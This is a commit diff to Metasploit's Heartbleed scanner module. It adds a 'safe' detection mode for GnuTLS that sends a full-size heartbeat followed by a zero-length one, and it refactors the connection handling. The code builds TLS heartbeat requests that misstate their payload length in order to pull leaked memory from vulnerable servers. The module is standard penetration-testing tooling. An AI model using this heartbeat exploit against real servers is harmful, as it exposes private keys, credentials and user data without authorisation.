Skip to content

Commit 1a73206

Browse files
author
David Chan
committed
Add detection for GnuTLS with with multiple records
1 parent 6fafc10 commit 1a73206

File tree

1 file changed

+68
-53
lines changed

1 file changed

+68
-53
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 68 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -143,6 +143,10 @@ def run
143143
super
144144
end
145145

146+
def max_record_length
147+
1 << 14
148+
end
149+
146150
def heartbeat_length
147151
datastore["HEARTBEAT_LENGTH"]
148152
end
@@ -227,8 +231,7 @@ def tls_ftp
227231
end
228232

229233
def check_host(ip)
230-
# TODO: this number can be lower
231-
heartbeat_data = test_host(ip, 5000)
234+
heartbeat_data = test_host(ip, true)
232235

233236
if heartbeat_data
234237
return Exploit::CheckCode::Appears
@@ -237,65 +240,77 @@ def check_host(ip)
237240
Exploit::CheckCode::Safe
238241
end
239242

240-
def test_host(ip, length = heartbeat_length)
241-
connect
243+
def test_host(ip, safe = false)
244+
heartbeat_data = nil
245+
begin
246+
connect
247+
248+
unless datastore['STARTTLS'] == 'None'
249+
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
250+
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
251+
if res.nil?
252+
vprint_error("#{peer} - STARTTLS failed...")
253+
return
254+
end
255+
end
256+
257+
vprint_status("#{peer} - Sending Client Hello...")
258+
sock.put(client_hello)
242259

243-
unless datastore['STARTTLS'] == 'None'
244-
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
245-
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
246-
if res.nil?
247-
vprint_error("#{peer} - STARTTLS failed...")
260+
server_hello = sock.get
261+
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
262+
vprint_error("#{peer} - Server Hello Not Found")
248263
return
249264
end
250-
end
251265

252-
vprint_status("#{peer} - Sending Client Hello...")
253-
sock.put(client_hello)
254-
255-
server_hello = sock.get
256-
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
257-
vprint_error("#{peer} - Server Hello Not Found")
258-
return
259-
end
266+
vprint_status("#{peer} - Sending Heartbeat...")
267+
if safe
268+
sock.put(heartbeat(max_record_length - 3, safe) << heartbeat(0, safe))
269+
else
270+
sock.put(heartbeat(heartbeat_length))
271+
end
272+
hdr = sock.get_once(5)
273+
if hdr.blank?
274+
vprint_error("#{peer} - No Heartbeat response...")
275+
return
276+
end
260277

261-
vprint_status("#{peer} - Sending Heartbeat...")
262-
sock.put(heartbeat(length))
263-
hdr = sock.get_once(5)
264-
if hdr.blank?
265-
vprint_error("#{peer} - No Heartbeat response...")
266-
return
267-
end
278+
unpacked = hdr.unpack('Cnn')
279+
type = unpacked[0]
280+
version = unpacked[1] # must match the type from client_hello
281+
len = unpacked[2]
282+
283+
# try to get the TLS error
284+
if type == ALERT_RECORD_TYPE
285+
res = sock.get_once(len)
286+
alert_unp = res.unpack('CC')
287+
alert_level = alert_unp[0]
288+
alert_desc = alert_unp[1]
289+
msg = "Unknown error"
290+
# http://tools.ietf.org/html/rfc5246#section-7.2
291+
case alert_desc
292+
when 0x46
293+
msg = "Protocol error. Looks like the chosen protocol is not supported."
294+
end
295+
vprint_error("#{peer} - #{msg}")
296+
return
297+
end
268298

269-
unpacked = hdr.unpack('Cnn')
270-
type = unpacked[0]
271-
version = unpacked[1] # must match the type from client_hello
272-
len = unpacked[2]
273-
274-
# try to get the TLS error
275-
if type == ALERT_RECORD_TYPE
276-
res = sock.get_once(len)
277-
alert_unp = res.unpack('CC')
278-
alert_level = alert_unp[0]
279-
alert_desc = alert_unp[1]
280-
msg = "Unknown error"
281-
# http://tools.ietf.org/html/rfc5246#section-7.2
282-
case alert_desc
283-
when 0x46
284-
msg = "Protocol error. Looks like the chosen protocol is not supported."
299+
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
300+
vprint_error("#{peer} - Unexpected Heartbeat response")
301+
return
285302
end
286-
vprint_error("#{peer} - #{msg}")
287-
disconnect
288-
return
289-
end
290303

291-
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
292-
vprint_error("#{peer} - Unexpected Heartbeat response")
304+
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
305+
306+
length = safe ? max_record_length : heartbeat_length
307+
heartbeat_data = sock.get_once(length) # Read the magic length...
308+
rescue EOFError
309+
vprint_error("#{peer} - EOFError")
310+
ensure
293311
disconnect
294-
return
295312
end
296-
297-
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
298-
sock.get_once(length) # Read the magic length...
313+
heartbeat_data
299314
end
300315

301316
def run_host(ip)
@@ -333,12 +348,12 @@ def run_host(ip)
333348
end
334349
end
335350

336-
def heartbeat(length)
351+
def heartbeat(length, safe = false)
337352
payload = "\x01" # Heartbeat Message Type: Request (1)
338353
payload << [length].pack("n") # Payload Length: 65535
339354

340355
# handle safe detection
341-
if length != heartbeat_length
356+
if safe
342357
payload << Array.new(length, 1).pack("C*") # Dummy values
343358
end
344359

0 commit comments

Comments
 (0)